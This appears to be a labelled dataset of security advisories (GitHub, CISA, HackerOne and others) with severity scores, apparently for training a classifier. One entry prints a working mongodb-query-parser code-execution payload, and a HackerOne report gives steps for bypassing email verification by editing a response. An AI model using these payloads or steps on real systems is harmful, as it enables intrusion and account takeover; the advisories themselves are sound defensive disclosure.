-{"id": "7b6cccf024d10c831112", "text": "HTML Injection in shout\n\nAffected versions of `shout` do not escape the `/topic` command in messages, and are therefore vulnerable to cross-site scripting.\n\n## Recommendation\n\nUpdate to version 0.50.0 or later.", "text_raw": "HTML Injection in shout\n\n[Severity: MEDIUM]\n\nAffected versions of `shout` do not escape the `/topic` command in messages, and are therefore vulnerable to cross-site scripting.\n\n\n## Recommendation\n\nUpdate to version 0.50.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-07", "split": "train"}
-{"id": "2e3b06f638618f7ebf59", "text": "Sensitive Data Exposure in miniorange_saml\n\nThe miniorange_saml (aka Miniorange Saml) extension before 1.4.3 for TYPO3 allows Sensitive Data Exposure of API credentials and private keys.", "text_raw": "Sensitive Data Exposure in miniorange_saml\n\n[Severity: HIGH]\n\nThe miniorange_saml (aka Miniorange Saml) extension before 1.4.3 for TYPO3 allows Sensitive Data Exposure of API credentials and private keys.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "50f1bc226e28cbbecc87", "text": "CSS Injection in Chartkick gem\n\nThe Chartkick gem through 3.3.2 for Ruby allows Cascading Style Sheets (CSS) Injection (without attribute).", "text_raw": "CSS Injection in Chartkick gem\n\n[Severity: MEDIUM]\n\nThe Chartkick gem through 3.3.2 for Ruby allows Cascading Style Sheets (CSS) Injection (without attribute).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-12", "split": "train"}
-{"id": "3d854a6a4ad5ffe3a5fe", "text": "phlyLabs phlyMail Lite 4.03.04 (go param) Open Redirect Vulnerability", "text_raw": "phlyLabs phlyMail Lite 4.03.04 (go param) Open Redirect Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2013-01-13", "split": "train"}
-{"id": "a592abe33646cce9518f", "text": "actionpack Improper Input Validation vulnerability\n\n`actionpack/lib/action_view/template/text.rb` in Action View in Ruby on Rails 3.x before 3.2.17 converts MIME type strings to symbols during use of the `:text` option to the `render` method, which allows remote attackers to cause a denial of service (memory consumption) by including these strings in headers.", "text_raw": "actionpack Improper Input Validation vulnerability\n\n[Severity: MEDIUM]\n\n`actionpack/lib/action_view/template/text.rb` in Action View in Ruby on Rails 3.x before 3.2.17 converts MIME type strings to symbols during use of the `:text` option to the `render` method, which allows remote attackers to cause a denial of service (memory consumption) by including these strings in headers.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "cd56309b387743ad3bea", "text": "Malicious Package in mysql-koa\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in mysql-koa\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "3aabf7210a874b76df62", "text": "Prototype Pollution in lodash\n\nVersions of `lodash` before 4.17.5 are vulnerable to prototype pollution.\n\nThe vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nUpdate to version 4.17.5 or later.", "text_raw": "Prototype Pollution in lodash\n\n[Severity: MEDIUM]\n\nVersions of `lodash` before 4.17.5 are vulnerable to prototype pollution. \n\nThe vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.17.5 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "c141ea081926bcb86b47", "text": "Git-fastclone passes user modifiable strings directly to a shell command\n\ngit-fastclone before 1.0.5 passes user modifiable strings directly to a shell command. An attacker can execute malicious commands by modifying the strings that are passed as arguments to `cd ` and `git clone ` commands in the library.", "text_raw": "Git-fastclone passes user modifiable strings directly to a shell command\n\n[Severity: CRITICAL]\n\ngit-fastclone before 1.0.5 passes user modifiable strings directly to a shell command. An attacker can execute malicious commands by modifying the strings that are passed as arguments to `cd ` and `git clone ` commands in the library.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "6a08a4809a7283d14136", "text": "Regular Expression Denial of Service\n\nA vulnerability was descovered in eslint before 4.18.2. One of the regexes in eslint is vulnerable to catastrophic backtracking.", "text_raw": "Regular Expression Denial of Service\n\n[Severity: MEDIUM]\n\nA vulnerability was descovered in eslint before 4.18.2. One of the regexes in eslint is vulnerable to catastrophic backtracking.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-25", "split": "train"}
-{"id": "ee82f1bc84f9255ee4e0", "text": "Malicious Package in sj-labc\n\nAll versions of `sj-labc` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in sj-labc\n\n[Severity: CRITICAL]\n\nAll versions of `sj-labc` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "fad0aa2e3532bb844be0", "text": "Qualcomm Multiple Chipsets Use-After-Free Vulnerability\n\nAffected: Qualcomm Multiple Chipsets\n\nMultiple Qualcomm Chipsets contain a use after free vulnerability due to improper handling of memory mapping of multiple processes simultaneously.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Qualcomm Multiple Chipsets Use-After-Free Vulnerability\n\nAffected: Qualcomm Multiple Chipsets\n\nMultiple Qualcomm Chipsets contain a use after free vulnerability due to improper handling of memory mapping of multiple processes simultaneously.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b6826afced000b05a677", "text": "u5CMS 3.9.3 (thumb.php) Local File Inclusion Vulnerability", "text_raw": "u5CMS 3.9.3 (thumb.php) Local File Inclusion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-02-09", "split": "train"}
-{"id": "e9afaf14c7044718cf69", "text": "Command Injection in tomato\n\nAll versions of `tomato` are vulnerable to Command Injection. The /api/exec endpoint does not validate user input allowing attackers to run arbitrary commands in the system.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Command Injection in tomato\n\n[Severity: HIGH]\n\nAll versions of `tomato` are vulnerable to Command Injection. The /api/exec endpoint does not validate user input allowing attackers to run arbitrary commands in the system.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "3a410eab112496b5c37a", "text": "Insecure path handling in Bundler\n\nBundler prior to 2.1.0 uses a predictable path in `/tmp/`, created with insecure permissions as a storage location for gems, if locations under the user's home directory are not available. If Bundler is used in a scenario where the user does not have a writable home directory, an attacker could place malicious code in this directory that would be later loaded and executed.", "text_raw": "Insecure path handling in Bundler\n\n[Severity: HIGH]\n\nBundler prior to 2.1.0 uses a predictable path in `/tmp/`, created with insecure permissions as a storage location for gems, if locations under the user's home directory are not available. If Bundler is used in a scenario where the user does not have a writable home directory, an attacker could place malicious code in this directory that would be later loaded and executed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "9bd523af18435410eaa9", "text": "Duplicate Advisory: Path Traversal in Zope\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-5pr9-v234-jw36. This link is maintained to preserve external references.\n\n## Original Description\nZope is an open-source web application server. In Zope versions prior to 4.6 and 5.2, users can access untrusted modules indirectly through Python modules that are available for direct use. By default, only users with the Manager role can add or edit Zope Page Templates through the web, but sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk from this vulnerability. The problem has been fixed in Zope 5.2 and 4.6. As a workaround, a site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.", "text_raw": "Duplicate Advisory: Path Traversal in Zope\n\n[Severity: HIGH]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-5pr9-v234-jw36. This link is maintained to preserve external references.\n\n## Original Description\nZope is an open-source web application server. In Zope versions prior to 4.6 and 5.2, users can access untrusted modules indirectly through Python modules that are available for direct use. By default, only users with the Manager role can add or edit Zope Page Templates through the web, but sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk from this vulnerability. The problem has been fixed in Zope 5.2 and 4.6. As a workaround, a site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "568499743b6b7cca152a", "text": "Arbitrary File Read in Snyk Broker\n\nAll versions of snyk-broker before 4.79.0 are vulnerable to Arbitrary File Read. It allows partial file reads for users who have access to Snyk's internal network via patch history from GitHub Commits API.", "text_raw": "Arbitrary File Read in Snyk Broker\n\n[Severity: MEDIUM]\n\nAll versions of snyk-broker before 4.79.0 are vulnerable to Arbitrary File Read. It allows partial file reads for users who have access to Snyk's internal network via patch history from GitHub Commits API.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "86ca26772f20351a5809", "text": "The Fuck Arbitrary File Deletion via Path Traversal\n\nThe thefuck (aka _The Fuck_) is app that corrects errors in previous console commands. _The Fuck_ python package before 3.31 allows Path Traversal that leads to arbitrary file deletion via the `undo archive operation` feature.", "text_raw": "The Fuck Arbitrary File Deletion via Path Traversal\n\n[Severity: HIGH]\n\nThe thefuck (aka _The Fuck_) is app that corrects errors in previous console commands. _The Fuck_ python package before 3.31 allows Path Traversal that leads to arbitrary file deletion via the `undo archive operation` feature.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "20424cb025ef54be3192", "text": "Authentication Bypass by Spoofing in express-cart\n\nA deficiency in the access control in module express-cart <=1.1.5 allows unprivileged users to add new users to the application as administrators.", "text_raw": "Authentication Bypass by Spoofing in express-cart\n\n[Severity: HIGH]\n\nA deficiency in the access control in module express-cart <=1.1.5 allows unprivileged users to add new users to the application as administrators.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "c8cbdbdb03b125779634", "text": "Uncontrolled Recursion in Django\n\nAn issue was discovered in Django 1.11.x before 1.11.23, 2.1.x before 2.1.11, and 2.2.x before 2.2.4. If passed certain inputs, django.utils.encoding.uri_to_iri could lead to significant memory usage due to a recursion when repercent-encoding invalid UTF-8 octet sequences.", "text_raw": "Uncontrolled Recursion in Django\n\n[Severity: HIGH]\n\nAn issue was discovered in Django 1.11.x before 1.11.23, 2.1.x before 2.1.11, and 2.2.x before 2.2.4. If passed certain inputs, django.utils.encoding.uri_to_iri could lead to significant memory usage due to a recursion when repercent-encoding invalid UTF-8 octet sequences.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-06", "split": "train"}
-{"id": "00abb9f618ad98683103", "text": "[Unknown] Authentication Bypass - Email Verification code bypass in account registration process.\n\nHi Team,\n\nI was able to bypass Email Verification code in account registration process.\n\nSummary :\nAuthentication Bypass is a dangerous vulnerability, which is found in Web-Applications. An Attackers can bypass the control mechanisms which are used by the underlying web application like Email verification, OTP, Captcha, 2FA, etc. An Attacker can perform a  complete Account takeover of Victim./ Critical\n\nComplexity : Easy\n\nFrom : Remote / External\n\nSteps to Reproduce:\n\n1- First visit your website \"https://hackers.upchieve.org\" and request for the sign up.\n2- In the second step, choose either you want to register as an academic coach or need an academic coach.\n3- In the third step, enter your email and create a password.\n4- In the fourth step, enter name and mobile phone, then sign up.\n5- Then request for verification code on email.\n6- Enter wrong verification code and intercept request using Burp suite.\n7- After intercepting the request, I changed the status from \"False\" to \"True\".\n          {\"status\":false to \"status\":true}\n8- Boom!! Verification code bypassed.\n9- Finally, the account was created with the wrong verification code.\n\nProof of Concept : \nFor better understanding, I have attached screenshots and videos after intercepting the request from Burp Suite.\n\nRecommendations :\nThe application should protect the sensitive actions and validate the verification process of the web application. Restrict the user for any malicious behavior.\n\nReferences:\nhttps://hackerone.com/reports/1040047\nhttps://hackerone.com/reports/57764\nhttps://medium.com/@AGNIHACKERS/otp-bypass-through-response-manipulation-beeb467359d8\n\n## Impact\n\nAn Adversary can carry out Auth Bypass attack and perform an Account Take Over. An attacker can succeed in the account takeover of any user without any privileges.", "text_raw": "[Unknown] Authentication Bypass - Email Verification code bypass in account registration process.\n\nHi Team,\n\nI was able to bypass Email Verification code in account registration process.\n\nSummary :\nAuthentication Bypass is a dangerous vulnerability, which is found in Web-Applications. An Attackers can bypass the control mechanisms which are used by the underlying web application like Email verification, OTP, Captcha, 2FA, etc. An Attacker can perform a  complete Account takeover of Victim.\n\nSeverity :   High / Critical\n\nComplexity : Easy \n\nFrom : Remote / External\n\nSteps to Reproduce:\n\n1- First visit your website \"https://hackers.upchieve.org\" and request for the sign up.\n2- In the second step, choose either you want to register as an academic coach or need an academic coach.\n3- In the third step, enter your email and create a password.\n4- In the fourth step, enter name and mobile phone, then sign up.\n5- Then request for verification code on email.\n6- Enter wrong verification code and intercept request using Burp suite.\n7- After intercepting the request, I changed the status from \"False\" to \"True\".\n          {\"status\":false to \"status\":true}\n8- Boom!! Verification code bypassed.\n9- Finally, the account was created with the wrong verification code.\n\n\nProof of Concept : \nFor better understanding, I have attached screenshots and videos after intercepting the request from Burp Suite.\n\nRecommendations :\nThe application should protect the sensitive actions and validate the verification process of the web application. Restrict the user for any malicious behavior. \n\nReferences:\nhttps://hackerone.com/reports/1040047\nhttps://hackerone.com/reports/57764\nhttps://medium.com/@AGNIHACKERS/otp-bypass-through-response-manipulation-beeb467359d8\n\n## Impact\n\nAn Adversary can carry out Auth Bypass attack and perform an Account Take Over. An attacker can succeed in the account takeover of any user without any privileges.", "severity": "high", "severity_label": 2, "source": "hackerone", "timestamp": "2021-12-07", "split": "train"}
-{"id": "256ca95f34147d694272", "text": "Cross-site scripting in padrino-contrib\n\nThe breadcrumbs contributed module through 0.2.0 for Padrino Framework allows XSS via a caption.", "text_raw": "Cross-site scripting in padrino-contrib\n\n[Severity: MEDIUM]\n\nThe breadcrumbs contributed module through 0.2.0 for Padrino Framework allows XSS via a caption.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-23", "split": "train"}
-{"id": "1d46f03aab332ec78942", "text": "Malicious Package in sb58\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in sb58\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b19e3e7570665a98c356", "text": "Reverse Tabnabbing in showdown\n\nVersions of `showdown` prior to 1.9.1 are vulnerable to [Reverse Tabnabbing](https://www.owasp.org/index.php/Reverse_Tabnabbing). The package uses `target='_blank'` in anchor tags, allowing attackers to access `window.opener` for the original page when opening links. This is commonly used for phishing attacks.\n\n## Recommendation\n\nUpgrade to version 1.9.1 or later.", "text_raw": "Reverse Tabnabbing in showdown\n\n[Severity: LOW]\n\nVersions of `showdown` prior to 1.9.1 are vulnerable to [Reverse Tabnabbing](https://www.owasp.org/index.php/Reverse_Tabnabbing). The package uses `target='_blank'` in anchor tags, allowing attackers to access `window.opener` for the original page when opening links. This is commonly used for phishing attacks.\n\n\n## Recommendation\n\nUpgrade to version 1.9.1 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "fc9c73f1c5865eb5a735", "text": "Timing side channel vulnerability in UIDL request handler in Vaadin 7 and 8\n\nNon-constant-time comparison of CSRF tokens in UIDL request handler in `com.vaadin:vaadin-server` versions 7.0.0 through 7.7.23 (Vaadin 7.0.0 through 7.7.23), and 8.0.0 through 8.12.2 (Vaadin 8.0.0 through 8.12.2) allows attacker to guess a security token via timing attack\n\n- https://vaadin.com/security/cve-2021-31403", "text_raw": "Timing side channel vulnerability in UIDL request handler in Vaadin 7 and 8\n\n[Severity: MEDIUM]\n\nNon-constant-time comparison of CSRF tokens in UIDL request handler in `com.vaadin:vaadin-server` versions 7.0.0 through 7.7.23 (Vaadin 7.0.0 through 7.7.23), and 8.0.0 through 8.12.2 (Vaadin 8.0.0 through 8.12.2) allows attacker to guess a security token via timing attack\n\n- https://vaadin.com/security/cve-2021-31403", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "b3316dc4920799768f56", "text": "Denial of Service in ecstatic\n\necstatic have a denial of service vulnerability. Successful exploitation could lead to crash of an application.", "text_raw": "Denial of Service in ecstatic\n\n[Severity: MEDIUM]\n\necstatic have a denial of service vulnerability. Successful exploitation could lead to crash of an application.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-15", "split": "train"}
-{"id": "4ca7a326c1ce864bbb3f", "text": "Apple Multiple Products Integer Overflow Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, and watchOS CoreGraphics contain an integer overflow vulnerability which may allow code execution when processing a maliciously crafted PDF. The vulnerability is also known under the moniker of FORCEDENTRY.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20, CWE-190\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple Multiple Products Integer Overflow Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, and watchOS CoreGraphics contain an integer overflow vulnerability which may allow code execution when processing a maliciously crafted PDF. The vulnerability is also known under the moniker of FORCEDENTRY.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20, CWE-190\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f55ee1decc9519cab252", "text": "CSRF Vulnerability in rails-ujs\n\nThere is a vulnerability in rails-ujs that allows attackers to send CSRF tokens to wrong domains.\n\nVersions Affected:  rails <= 6.0.3\nNot affected:       Applications which don't use rails-ujs.\nFixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1\n\nImpact\n------\n\nThis is a regression of CVE-2015-1840.\n\nIn the scenario where an attacker might be able to control the href attribute of an anchor tag or the action attribute of a form tag that will trigger a POST action, the attacker can set the href or action to a cross-origin URL, and the CSRF token will be sent.\n\nWorkarounds\n-----------\n\nTo work around this problem, change code that allows users to control the href attribute of an anchor tag or the action attribute of a form tag to filter the user parameters.\n\nFor example, code like this:\n\nlink_to params\n\nto code like this:\n\nlink_to filtered_params\n\ndef filtered_params\n      # Filter just the parameters that you trust\n    end", "text_raw": "CSRF Vulnerability in rails-ujs\n\n[Severity: MEDIUM]\n\nThere is a vulnerability in rails-ujs that allows attackers to send CSRF tokens to wrong domains.\n\nVersions Affected:  rails <= 6.0.3\nNot affected:       Applications which don't use rails-ujs.\nFixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1\n\nImpact\n------\n\nThis is a regression of CVE-2015-1840.\n\nIn the scenario where an attacker might be able to control the href attribute of an anchor tag or the action attribute of a form tag that will trigger a POST action, the attacker can set the href or action to a cross-origin URL, and the CSRF token will be sent.\n\nWorkarounds\n-----------\n\nTo work around this problem, change code that allows users to control the href attribute of an anchor tag or the action attribute of a form tag to filter the user parameters.\n\nFor example, code like this:\n\n    link_to params\n\nto code like this:\n\n    link_to filtered_params\n\n    def filtered_params\n      # Filter just the parameters that you trust\n    end", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "590db80c96acd6c71406", "text": "Remote Code Execution in mongodb-query-parser\n\nVersions of `mongodb-query-parser` prior to 2.0.0 are vulnerable to Remote Code Execution. The package fails to sanitize queries, allowing attackers to execute arbitrary code in the system.  Parsing the following payload executes `touch test-file`:\n\n```'(function () { return (clearImmediate.constructor(\"return process;\")()).mainModule.require(\"child_process\").execSync(\"touch test-file\").toString()})()'```\n\n## Recommendation\n\nUpgrade to version 2.0.0 or later.", "text_raw": "Remote Code Execution in mongodb-query-parser\n\n[Severity: CRITICAL]\n\nVersions of `mongodb-query-parser` prior to 2.0.0 are vulnerable to Remote Code Execution. The package fails to sanitize queries, allowing attackers to execute arbitrary code in the system.  Parsing the following payload executes `touch test-file`: \n\n```'(function () { return (clearImmediate.constructor(\"return process;\")()).mainModule.require(\"child_process\").execSync(\"touch test-file\").toString()})()'```\n\n\n\n## Recommendation\n\nUpgrade to version 2.0.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "e856d8a29a918599edd9", "text": "Materialize-css vulnerable to Cross-site Scripting in tooltip component\n\nAll versions of `materialize-css` are vulnerable to Cross-Site Scripting. The `tooltip` component does not sufficiently sanitize user input, allowing an attacker to execute arbitrary JavaScript code if the malicious input is rendered by a user.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Materialize-css vulnerable to Cross-site Scripting in tooltip component\n\n[Severity: MEDIUM]\n\nAll versions of `materialize-css` are vulnerable to Cross-Site Scripting. The `tooltip` component does not sufficiently sanitize user input, allowing an attacker to execute arbitrary JavaScript code if the malicious input is rendered by a user.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "ec0b65f46b33184133cf", "text": "Microsoft Exchange Server Validation Key Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server Validation Key fails to properly create unique keys at install time, allowing for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-287\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Exchange Server Validation Key Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server Validation Key fails to properly create unique keys at install time, allowing for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-287\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4f0a667b1e745af4ed34", "text": "Information Exposure on Case Insensitive File Systems in serve\n\nVersions of `serve` before 7.0.0 are vulnerable to information exposure, bypassing the ignore security control, but only on case insensitive file systems.\n\n## Recommendation\n\nUpdate to version 7.0.0 or later.", "text_raw": "Information Exposure on Case Insensitive File Systems in serve\n\n[Severity: MEDIUM]\n\nVersions of `serve` before 7.0.0 are vulnerable to information exposure, bypassing the ignore security control, but only on case insensitive file systems.\n\n\n\n## Recommendation\n\nUpdate to version 7.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "b39080bf3d51626e0f8d", "text": "Insecure Default Configuration in airbrake\n\nAffected versions of `airbrake` default to sending environment variables over an unencrypted HTTP connection. In scenarios where an attacker has a privileged network position, it is possible for them to capture and read these environment variables, which may result in leaking sensitive information.\n\n## Recommendation\n\nUpdate to version 0.4.0 or later, or upgrade from the now-deprecated `airbrake` module to its replacement, [`airbrake-js`](https://www.npmjs.com/package/airbrake-js).", "text_raw": "Insecure Default Configuration in airbrake\n\n[Severity: MEDIUM]\n\nAffected versions of `airbrake` default to sending environment variables over an unencrypted HTTP connection. In scenarios where an attacker has a privileged network position, it is possible for them to capture and read these environment variables, which may result in leaking sensitive information.\n\n\n## Recommendation\n\nUpdate to version 0.4.0 or later, or upgrade from the now-deprecated `airbrake` module to its replacement, [`airbrake-js`](https://www.npmjs.com/package/airbrake-js).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "b4011da09ce7d1ddc6e7", "text": "Malicious Package in sj-tw-sec\n\nAll versions of `sj-tw-sec` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in sj-tw-sec\n\n[Severity: CRITICAL]\n\nAll versions of `sj-tw-sec` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "6fdcf9fd1fd0bca5fb2a", "text": "Malicious Package in wallet-address-vaildator\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in wallet-address-vaildator\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "88f20544d8ae09fdc06d", "text": "SessionListener can prevent a session from being invalidated breaking logout\n\n### Impact\nIf an exception is thrown from the `SessionListener#sessionDestroyed()` method, then the session ID is not invalidated in the session ID manager.   On deployments with clustered sessions and multiple contexts this can result in a session not being invalidated.  This can result in an application used on a shared computer being left logged in.\n\nThere is no known path for an attacker to induce such an exception to be thrown, thus they must rely on an application to throw such an exception.    The OP has also identified that during the call to `sessionDestroyed`, the `getLastAccessedTime()` throws an `IllegalStateException`, which potentially contrary to the servlet spec, so applications calling this method may always throw and fail to log out.  If such an application was only tested on a non clustered test environment, then it may be deployed on a clustered environment with multiple contexts and fail to log out.\n\n### Workarounds\nThe application should catch all Throwables within their `SessionListener#sessionDestroyed()` implementations.", "text_raw": "SessionListener can prevent a session from being invalidated breaking logout\n\n[Severity: LOW]\n\n### Impact\nIf an exception is thrown from the `SessionListener#sessionDestroyed()` method, then the session ID is not invalidated in the session ID manager.   On deployments with clustered sessions and multiple contexts this can result in a session not being invalidated.  This can result in an application used on a shared computer being left logged in.\n\nThere is no known path for an attacker to induce such an exception to be thrown, thus they must rely on an application to throw such an exception.    The OP has also identified that during the call to `sessionDestroyed`, the `getLastAccessedTime()` throws an `IllegalStateException`, which potentially contrary to the servlet spec, so applications calling this method may always throw and fail to log out.  If such an application was only tested on a non clustered test environment, then it may be deployed on a clustered environment with multiple contexts and fail to log out.\n\n### Workarounds\nThe application should catch all Throwables within their `SessionListener#sessionDestroyed()` implementations.\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
